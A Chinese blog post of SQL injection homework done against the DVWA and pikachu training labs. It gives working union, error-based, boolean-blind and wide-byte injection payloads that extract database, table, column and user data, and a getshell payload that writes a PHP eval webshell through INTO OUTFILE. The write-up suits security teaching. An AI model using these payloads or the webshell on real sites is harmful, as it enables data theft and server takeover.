当前位置: 首页 > news >正文

第六周作业

好的,这是移除外层代码块,并保留内部 Markdown 格式的作业内容:

SQL 注入作业

1、联合注入实现“库名-表名-字段名-数据”的注入过程

(1)前端注入

  • 尝试使用 database() 这个函数进行库名爆破

    1' union select 1,database() #
    

    结果: 得到数据库名 “dvwa”

  • 尝试去 information 这个数据库中的 tables 表查找 dvwa 这个数据库下有多少表名

    1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
    

    结果: 得到两张表 guestbookusers

  • 得到两张表后根据表名判断用户信息在 users 表中,开始尝试

    1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
    

    结果: 查到了这些字段 “user_id,first_name,last_name,user,password,avatar,last_login,failed_login”

  • 获取数据

    1' union select 1,group_concat(xxx) from users  #
    

    说明: xxx 代表想要查询的对应字段,例如 user,password

(2)后端注入

后端联合注入的步骤与前端类似,只是注入点可能在不同的参数或请求方式中。你需要找到后端处理请求的入口,并尝试构造类似的 SQL 注入语句。

2、报错注入实现“库名-表名-字段名-数据”的注入过程

这里需要利用两个函数 extractvalue()updatexml()。以下以前端为例:

(1)获取库名

1' and extractvalue(1,concat(0x7e,(select database())))#

结果: 得到数据库名 “dvwa”

(2)获取表名

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')))#

结果: 得到两张表 guestbookusers

(3)获取字段

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))#

结果: 受限于报错信息只得出五个字段,利用 limit 逐个获取。

尝试过程及发现:

  • 最初尝试使用 limit 0,1 时仍然只返回五个字段,意识到是 group_concat 将所有列合并为一列导致。

  • 去除 group_concat 函数后,使用 limit 成功获取单个字段:

    1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)));#
    

(4)获取数据

1' and extractvalue(1,concat(0x7e,(select xxx from users limit 0,1)));#

结果: 成功爆出第一条数据的 xxx 字段值。

回答下列关于报错注入的问题:

(1)在 extractvalue 函数中,为什么 ‘~’ 写在参数 1 的位置不报错,而写在参数 2 的位置报错?

答: extractvalue 函数的第一个参数是 XML 文档对象名称,第二个参数是 XPath 路径。对于 XPath 路径而言,是不可能带有 “~” 这个字符串的,因此会导致 XPath 语法错误,从而触发报错。而第一个参数作为 XML 文档对象名称,可以包含 “~” 字符。

(2)报错注入中,为什么要突破单引号的限制,如何突破?

答: 如果不突破单引号的限制,SQL 语句就失去了原有的语义,会被解析为字符串。突破单引号限制的方法是利用闭合和注释。例如,原始 SQL 可能是 'value',为了注入恶意代码,可以构造输入为 ' union ... #。这样,第一个单引号与原始 SQL 中的单引号闭合,union ... 是注入的 SQL 代码,# 注释掉原始 SQL 中剩余的单引号,使得注入的 SQL 能够被执行。

(3)在报错注入过程中,为什么要进行报错,是哪种类型的报错?

答: 进行报错是为了利用数据库的错误信息来获取敏感数据。报错注入通常利用的是 XPath 路径错误,例如在使用 extractvalue()updatexml() 函数时,构造非法的 XPath 路径,使得数据库在处理时抛出包含查询结果的错误信息。

3、任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程

这里选择布尔盲注,以前端为例:

关键函数: substr(), ascii(), count(), length(), sleep()

(1)获取库名

使用二分查找法判断库名的长度:

1' and length(database()) >10#
1' and length(database()) >5#
1' and length(database()) >2#
1' and length(database()) = 4#

结果: 得出库名为四个字符。

接下来,可以使用 substr()ascii() 函数逐个判断库名中的字符:

1' and ascii(substr(database(),1,1)) = 100#  -- 判断第一个字符的 ASCII 值是否为 100 ('d')
1' and ascii(substr(database(),2,1)) = 118#  -- 判断第二个字符的 ASCII 值是否为 118 ('v')
1' and ascii(substr(database(),3,1)) = 119#  -- 判断第三个字符的 ASCII 值是否为 119 ('w')
1' and ascii(substr(database(),4,1)) = 97#   -- 判断第四个字符的 ASCII 值是否为 97 ('a')

结果: 逐步得出库名为 “dvwa”。

(2)获取表名

类似地,首先判断 dvwa 数据库中表的数量:

1' and (select count(*) from information_schema.tables where table_schema='dvwa') = 2#

然后,逐个判断表名的长度和字符:

1' and length(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,8)) = 8# -- 判断第一个表名的长度是否为 8
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,1)) = 103# 
1' and length(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),10,5)) = 5# 
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),10,1)) = 117# 

结果: 逐步得出表名为 “guestbook” 和 “users”。

4、利用宽字节注入实现“库名-表名”的注入过程

(1)获取库名

%df' union select 1,database(); #

结果: pikachu

(2)获取表名

%df' union select group_concat(table_name),1 from information_schema.tables where table_schema=database()#

结果: httpinfo,member,message,users,xssblind

说明: 宽字节注入通常发生在服务器端字符集设置为 GBK 等多字节字符集时。攻击者输入 %df',其中 %df 会和后面的 ' 组成一个合法的 GBK 字符,从而绕过对单引号的过滤。

5、利用 SQL 注入实现 DVWA 站点的 Getshell

已知 “User ID” 存在注入口。以下是攻击步骤:
向前端注入下面这条命令:

1' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/lljcc.php' #

结果:前端无响应,尝试访问http://10.0.0.5:8080/lljcc.php,成功访问,表示注入成功

尝试使用蚁剑连接
连接成功
在这里插入图片描述

相关文章:

第六周作业

好的&#xff0c;这是移除外层代码块&#xff0c;并保留内部 Markdown 格式的作业内容&#xff1a; SQL 注入作业 1、联合注入实现“库名-表名-字段名-数据”的注入过程 &#xff08;1&#xff09;前端注入 尝试使用 database() 这个函数进行库名爆破 1 union select 1,data…...

学科发展视域下教师数字素养提升的多维路径研究

学科发展视域下教师数字素养提升的多维路径研究 —— 基于技术融合与教学创新的双重逻辑 一、引言&#xff1a;数字时代的学科教育转型 1.1 研究背景与意义 在当今时代&#xff0c;人工智能与教育数字化战略正以迅猛之势重塑着教育的格局&#xff0c;成为推动学科教学范式深…...

QEMU学习之路(6)— RISC-V 启动Linux

QEMU学习之路&#xff08;6&#xff09;— RISC-V 启动Linux 一、前言 参考&#xff1a;QEMU 启动方式分析&#xff08;1&#xff09;&#xff1a;QEMU 及 RISC-V 启动流程简介 QEMU 启动方式分析&#xff08;2&#xff09;: QEMU virt 平台下通过 OpenSBI U-Boot 引导 RISC…...

人工智能图像识别Spark Core3

Spark Core3 Spark-Core编程&#xff08;三&#xff09; 1.key-value类型&#xff1a; 23) sortByKey 函数签名 def sortByKey(ascending: Boolean true, numPartitions: Int self.partitions.length): RDD[(K, V)] 函数说明 在一个(K,V)的 RDD 上调用&#xff0c;K 必…...

STM32 模块化开发指南 · 第 5 篇 STM32 项目中断处理机制最佳实践:ISR、回调与事件通知

本文是《STM32 模块化开发实战指南》第 5 篇,聚焦于 STM32 裸机开发中最核心也最容易被忽视的部分——中断服务机制。我们将介绍如何正确、高效地设计中断处理函数(ISR),实现数据与事件从中断上下文传递到主逻辑的通道,并构建一个清晰、可维护、非阻塞的事件通知机制。 一…...

Vue报错解决方案

1.ResizeObserver loop completed with undelivered notifications. 解决方案&#xff1a; 在App.vue文件中添加以下代码&#xff1a; <script > const callLimit (callback, delay) > {let timer null;return function () {let context this;let args arguments;…...

vue2 el-element中el-select选中值,数据已经改变但选择框中不显示值,需要其他输入框输入值才显示这个选择框才会显示刚才选中的值

项目场景&#xff1a; <el-table-column label"税率" prop"TaxRate" width"180" align"center" show-overflow-tooltip><template slot-scope"{row, $index}"><el-form-item :prop"InquiryItemList. …...

STM32 模块化开发指南 · 第 4 篇 用状态机管理 BLE 应用逻辑:分层解耦的实践方式

本文是《STM32 模块化开发实战指南》第 4 篇,聚焦于 BLE 模块中的状态管理问题。我们将介绍如何通过有限状态机(Finite State Machine, FSM)架构,实现 BLE 广播、扫描、连接等行为的解耦与可控,并配合事件队列驱动完成主从共存、低功耗友好、状态清晰的 BLE 应用。 一、为…...

计算机网络-传输层基础概念

传输层基础概念 1. 传输层基础概念1.1 传输层的定义与作用1.2 传输层在网络模型中的位置OSI七层模型中的传输层TCP/IP四层模型中的传输层传输层的数据单元传输层的地址机制 1.3 传输层与其他层的关系与网络层的关系与应用层的关系数据流转过程 1.4 传输层的主要功能1.4.1 复用与…...

使用Mybatis时在XML中SQL高亮显示的方法

如图所示&#xff0c;上方的SQL代码很像是一个字符串&#xff0c;那么如何把上方的SQL改成和下方一样的SQL,使得IDEA可以识别SQL方言呢&#xff1f; 1.选中SQL中的一部分代码&#xff0c;此时左侧会出现一个黄色的灯泡图案&#xff0c;点击2.选择这个注入语言或者引用...

Dify+DeepSeek能做出什么来?快速构建可扩展的 AI 应用

将 Dify&#xff08;开源 LLM 应用开发平台&#xff09;与 DeepSeek&#xff08;深度求索公司的高性能大模型&#xff0c;如 DeepSeek-R1 或 DeepSeek-Lite&#xff09;结合使用&#xff0c;可以充分发挥两者的优势&#xff0c;快速构建高效、灵活且可扩展的 AI 应用。以下是具…...

Python 类型转换详解

文章目录 Python 类型转换详解基本类型转换函数1. 转换为整数 (int())2. 转换为浮点数 (float())3. 转换为字符串 (str())4. 转换为布尔值 (bool()) 容器类型转换1. 转换为列表 (list())2. 转换为元组 (tuple())3. 转换为集合 (set())4. 转换为字典 (dict()) 特殊类型转换1. AS…...

针对deepseek的核心论文写作提示词模板(适用于SCI论文、CCF会议论文、北大核心论文、南大核心论文)

以下是一个适用于撰写核心论文的提示词模板,涵盖论文结构、关键内容和注意事项,帮助你高效组织思路和内容: 核心论文写作提示词模板(5000字) 1. 标题(Title) 提示词:简洁、明确、关键词、研究领域、创新点示例: “基于XX方法的XX问题研究”“XX现象对XX的影响:以XX为…...

Linux基础命令解释

目录 一、文件和目录操作命令 1. ls 2. cd 3. pwd 4. mkdir 5. rm 6. cp 7. mv 二、查看和编辑文件命令 1. cat 2. less 三、系统信息相关命令 四、网络相关命令 五、用户和权限管理命令 Linux是由Linus Torvalds于1991年开发的开源类Unix操作系统内核&#xff0…...

vue2基于video.js,v8.21.0自己设计一个视频播放器

刚开始在网上下了点视频教程想着用些电脑自带的播放器。后来级数太多了&#xff0c;操作不方便。就开始自己捣鼓了。 痛点是是视频教程本身带来的&#xff0c;不方便反复的找重点。过去了不好快退等。 就基于video.js,设计了各种功能&#xff0c;鼠标移到上方显示 播放、暂停…...

Spring Boot 中集成 Disruptor_高性能事件处理框架

1. 引言 1.1 什么是 Disruptor Disruptor 是一个高性能的事件处理框架,广泛应用于金融交易系统、日志记录、消息队列等领域。它通过无锁机制和环形缓冲区(Ring Buffer)实现高效的事件处理,具有极低的延迟和高吞吐量的特点。 1.2 为什么使用 Disruptor 高性能:通过无锁机…...

如何关闭MacOS中鼠标滚轮滚动加速

一、背景 想要关闭滚轮的 “滚动加速”&#xff0c;即希望滚动了多少就对应滚动页面固定行数&#xff0c;现在macOS是加速滚动的&#xff0c;即滚动相同的角度会根据你滚动滚轮的速度不同最终页面滚动的幅度不同。这点很烦&#xff0c;常导致很难定位。 macOS本身的设置是没有…...

QT Sqlite数据库-教程001 创建数据库和表-下

【1】创建带名称的数据库 #include <QtSql/QSqlDatabase> #include <QtSql/QSqlQuery> #include <QtSql/QSqlRecord> QString path QDir::currentPath(); QApplication::addLibraryPath(pathQString("/release/plugins")); QPluginLoader loader…...

玄机靶场-webshell查杀WP

0x01.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx} 方法一 先去网站根目录找/var/www/html在文件中寻找 flag 方法二 直接使用工具 D 盾。 0x02黑客使用的什么工具的shell 把代码直接复制网上搜索即可。 https://github.com/BeichenDream/Godzilla 0x03 黑客隐…...

游戏引擎学习第217天

运行游戏并在 FreeVariableGroup 中遇到我们的断言 其实在美国&#xff0c;某些特定的小糖果&#xff08;例如小糖蛋&#xff09;只在圣诞节和复活节期间出售&#xff0c;导致有些人像我一样在这段时间吃得过多&#xff0c;进而增加体重。虽然这种情况每年都会发生&#xff0c…...

13、nRF52xx蓝牙学习(GPIOTE组件方式的任务配置)

下面再来探讨下驱动库如何实现任务的配置&#xff0c;驱动库的实现步骤应该和寄存器方式对应&#xff0c;关 键点就是如何调用驱动库的函数。 本例里同样的对比寄存器方式编写两路的 GPOITE 任务输出&#xff0c;一路配置为输出翻转&#xff0c;一路设 置为输出低电平。和 …...

基础数学:线性代数与优化理论

本篇文章简单带您复习线性代数与优化理论&#xff08;主要是我发表的文章中涉及过的或相关联的&#xff09; 微积分和概率与统计由此进&#xff1a;基础数学&#xff1a;微积分和概率与统计-CSDN博客 二、线性代数 1.矩阵运算 (1) 基础操作与几何意义 矩阵乘法&#xff1…...

IBM Rational Software Architect安装感受及使用初体验

1 安装感受 最近准备用UML 2.0绘制模型图。在读UML创始人之一Grady Booch写的书《Object-Oriented Analysis and Design with Applications》&#xff08;第3版&#xff09;1时&#xff0c;发现书中用的UML工具之一为IBM Rational Software Architect&#xff08;RSA&#xff…...

在WPS中通过JavaScript宏(JSA)调用DeepSeek官网API优化文档教程

在WPS中通过JavaScript宏&#xff08;JSA&#xff09;调用DeepSeek官网API优化文档教程 一、获取DeepSeek API密钥 访问DeepSeek官网&#xff0c;在开发者中心创建应用并生成API Key。注意选择deepseek - chat或deepseek - v3模型&#xff0c;推荐后者支持长文本生成。具体步…...

2025-Gateway架构

文章目录 1. **Spring Cloud Gateway**&#x1f9e0; **简介**&#xff1a;✅ **主要特性**&#xff1a;⚙️ **使用场景**&#xff1a; 2. **Kong Gateway**&#x1f9e0; **简介**&#xff1a;✅ **主要特性**&#xff1a;⚙️ **使用场景**&#xff1a; 3. **Zuul (Netflix)…...

Android HWComposer代码分析

厂家应该根据自己的硬件去写HWC的代码&#xff0c;一般位于hardware/厂家名称/hwcomposer目录中。 1 HAL_MODULE_INFO_SYM 在 Android 中&#xff0c;HAL_MODULE_INFO_SYM 结构体用于描述硬件抽象层&#xff08;HAL&#xff09;模块的信息&#xff0c;它会在系统启动过程中被…...

Java微服务分布式事务:CAP定理、BASE理论与事务模式全解析

在当今复杂的分布式系统中&#xff0c;数据一致性始终是架构师面临的核心挑战。本文将深入探讨分布式领域的三大基石理论&#xff08;CAP/BASE&#xff09;&#xff0c;并详解微服务场景下的五种主流事务解决方案&#xff0c;通过真实代码示例揭示技术实现本质。 一、分布式系统…...

多坐标系变换全解析:从相机到WGS-84的空间坐标系详解

多坐标系变换全解析:从相机到WGS-84的空间坐标系详解 一、常见坐标系简介二、各坐标系的功能和使用场景1. WGS-84 大地坐标系(经纬高)2. 地心直角坐标系(ECEF)3. 本地 ENU / NED 坐标系4. 平台坐标系(Body)5. 相机坐标系三、坐标变换流程图四、如何选用合适的坐标系?五…...

【微服务治理】Opentelemetry、 Jaeger、Prometheus、grafana 关系?各自作用?最佳实践?

OpenTelemetry、Jaeger、Prometheus 和 Grafana 是云原生可观测性领域的核心工具组&#xff0c;各自解决不同维度的问题&#xff0c;又能协作形成完整的监控体系。以下是它们的详细关系和功能说明&#xff1a; 1. OpenTelemetry 定位&#xff1a;统一的遥测数据标准&#xff0…...

谷歌25年春季新课:15小时速成机器学习

谷歌说15小时就能入门机器学习&#xff0c;虽然听上去有点离谱&#xff0c;但看了一下课程设置其实是很合理而且全面的&#xff0c;而且谷歌的质量还是很有保障&#xff0c;很适合零基础的小白以及想要进阶的学习者。&#x1f680; 基础知识部分包括 线性回归&#xff1a;用于…...

【笔试强训day16】

目录 第一题&#xff1a;字符串替换 描述 输入&#xff1a; 返回值&#xff1a; 第二题&#xff1a;神奇数 输入描述: 输出描述: 输入 输出 第三题&#xff1a;DNA序列 描述 输入描述&#xff1a; 输出描述&#xff1a; 输入&#xff1a; 输出&#xff1a; 输入…...

[每周一更]-(第139期):从FRP认识内网穿透及反向代理

文章目录 **一、FRP的核心功能与实战应用****1. 远程访问场景****2. Web服务暴露**Web服务访问实际案例&#xff1a;**3. 物联网与设备管理****4. 高级功能** **二、FRP性能优化与安全加固****三、同类工具对比与选型建议****四、总结与选型建议****特殊场景解决方案****1. 跨国…...

vue2使用ezuikit-js播放萤石视频

需求&#xff1a;需要在大屏上播放萤石视频&#xff0c;用到官方的ezuikit-js插件实现&#xff0c;并实现视频播放切换功能。有个问题至今没有解决&#xff0c;就是萤石视频的宽高是固定的&#xff0c;不会根据大屏缩放进行自适应。我这边做了简单的刷新自适应。 1.下载ezuikit…...

Nacos服务发现和配置管理

目录 一、Nacos概述 1. Nacos 简介 2. Nacos 特性 2.1 服务发现与健康监测 2.2 动态配置管理 2.3 动态DNS服务 2.4 其他关键特性 二、 服务注册和发现 2.1 核心概念 2.2 Nacos注册中心 2.3 Nacos单机模式 2.4 案例——服务注册与发现 2.4.1 父工程 2.4.2 order-p…...

DeepSeek实战:如何用AI工具提升销售转化率?

销售行业正在经历一场前所未有的变革&#xff0c;AI技术的快速发展让传统销售模式面临巨大挑战。如今&#xff0c;像DeepSeek这样的智能工具已经能高效完成客户触达、需求分析、快速回复等基础销售工作&#xff0c;甚至比人类更快、更精准。许多公司已经发现&#xff0c;AI销售…...

无锡无人机培训学校哪家好?

无锡无人机培训学校哪家好&#xff1f;近年来&#xff0c;无人机技术在各个领域的应用越来越广泛&#xff0c;从农业、物流到影视制作&#xff0c;无人机已经成为了许多行业不可或缺的工具。这种趋势促使越来越多的人希望通过系统的培训获得无人机驾驶技能。然而&#xff0c;在…...

从数据格式转换的角度 flink cdc 如何写入paimon?

从数据格式转换的角度 flink cdc 如何同步数据&#xff0c;写入paimon&#xff1f; 从一个测试用例着手 org/apache/flink/cdc/connectors/paimon/sink/v2/PaimonSinkITCase.java public void testSinkWithDataChange(String metastore, boolean enableDeleteVector)throws …...

Flink的 RecordWriter 数据通道 详解

本文从基础原理到代码层面逐步解释 Flink 的RecordWriter 数据通道&#xff0c;尽量让初学者也能理解。 1. 什么是 RecordWriter&#xff1f; 通俗理解 RecordWriter 是 Flink 中负责将数据从一个任务&#xff08;Task&#xff09;发送到下游任务的组件。想象一下&#xff0c;…...

从keys到SCAN:Redis批量删除的进化之路

标签:Redis、批量删除、前缀匹配、性能优化 一、痛点分析:为什么需要批量删除指定前缀的键? 在 Redis 使用过程中,我们经常会遇到这样的场景: 需要对某一类数据进行清理,例如用户会话、缓存数据等,而这些数据通常以某种前缀命名(如 user:session:*、cache:data:*)。如…...

uniapp实现目录树效果,异步加载数据

uniapp目录树 父组件调用目录树组件 <DaTreeVue2:data"treeData":field"{label: name,key: id,}"change"handleTreeChange":defaultCheckedKeys"addressDefaultCheckedKey":defaultExpandedKeys"addressDefaultCheckedKey&qu…...

机器学习--网格搜索

引言 在机器学习的广袤世界里&#xff0c;构建一个性能卓越的模型是众多从业者不懈追求的目标。而模型性能的好坏&#xff0c;很大程度上依赖于超参数的设置。今天&#xff0c;我们就来深入探讨一种常用且有效的超参数调优方法 —— 网格搜索。 一、什么是网格搜索 网格搜索…...

Asp.NET Core WebApi 创建带鉴权机制的Api

构建一个包含 JWT&#xff08;JSON Web Token&#xff09;鉴权的 Web API 是一种常见的做法&#xff0c;用于保护 API 端点并验证用户身份。以下是一个基于 ASP.NET Core 的完整示例&#xff0c;展示如何实现 JWT 鉴权。 1. 创建 ASP.NET Core Web API 项目 使用 .NET CLI 或 …...

同步电路与异步电路详解

一、基本概念与核心区别 特性同步电路异步电路时钟依赖依赖全局时钟信号&#xff08;如CLK&#xff09;统一触发所有操作无全局时钟&#xff0c;依赖事件&#xff08;如信号跳变&#xff09;或握手协议时序控制所有操作在时钟边沿&#xff08;上升/下降沿&#xff09;同步执行…...

Vccaux_IO在DDR3接口中的作用

一、Vccaux_IO在DDR3接口中的作用 1.vccaux_io通常为FPGA的IO bank的辅助电源&#xff0c;用于支持特定电压的IO标准 2.在DDR3接口中&#xff0c;FPGA的IO bank需要DDR3芯片的电压(1.5v/1.35v)匹配 3.Vccaux_IO用于为FPGA的DDR3接口I/O Bank供电&#xff0c;其电压值、噪声和稳…...

5分钟读懂ArgoCD:在Kubernetes中实现持续部署

Kubernetes中的Argo CD介绍 Argo CD是用于Kubernetes的声明式GitOps持续交付工具。它遵循GitOps模式&#xff0c;以Git仓库作为定义所需应用程序状态的唯一真实来源&#xff0c;能在指定的目标环境中自动部署应用程序&#xff0c;并持续监控应用程序的运行状态&#xff0c;确保…...

Redis与Caffeine的结合使用详解(高效的二级缓存解决方案)

目录 一、Redis与Caffeine的结合使用&#xff08;一&#xff09;引入依赖&#xff08;二&#xff09;配置缓存&#xff08;三&#xff09;配置 Caffeine 缓存&#xff08;四&#xff09;配置 Redis 缓存&#xff08;五&#xff09;使用缓存 二、总结 一、Redis与Caffeine的结合…...

leetcode 322. Coin Change

这道题也是完全背包问题。注意与第518题和第377题对比。 这道题要求的是最少可以用多少个物品装满背包&#xff0c;不关心所选物品的组合方式和排列方式。因此&#xff0c;外层循环既可以是对物品的遍历&#xff0c;也可以是对容量的遍历。 第518题&#xff0c;要求的是装满背…...

mac|使用scrcpy实现无线Android投屏

scrcpy是一个开源项目&#xff0c;从项目的releases可以得知它适用于windows、linux、mac github&#xff1a;https://github.com/Genymobile/scrcpy/releases github中提供了应用于mac系统的静态版本&#xff08;也就是上图的scrcpy-macos-aarch64-v3.1.tar.gz和scrcpy-macos…...

2025年04月11日Github流行趋势

项目名称&#xff1a;ml-course 项目地址url&#xff1a;https://github.com/girafe-ai/ml-course项目语言&#xff1a;Jupyter Notebook历史star数&#xff1a;2880今日star数&#xff1a;207项目维护者&#xff1a;neychev, girafeai, v-goncharenko, vmarchenkoff, HCL-271项…...

深入浅出Redis 缓存使用问题 | 长文分享

目录 数据一致性 先更新缓存&#xff0c;后更新数据库【一般不考虑】 先更新数据库&#xff0c;再更新缓存【一般不考虑】 先删除缓存&#xff0c;后更新数据库 先更新数据库&#xff0c;后删除缓存【推荐】 怎么选择这些方案&#xff1f;采用哪种合适&#xff1f; 缓存…...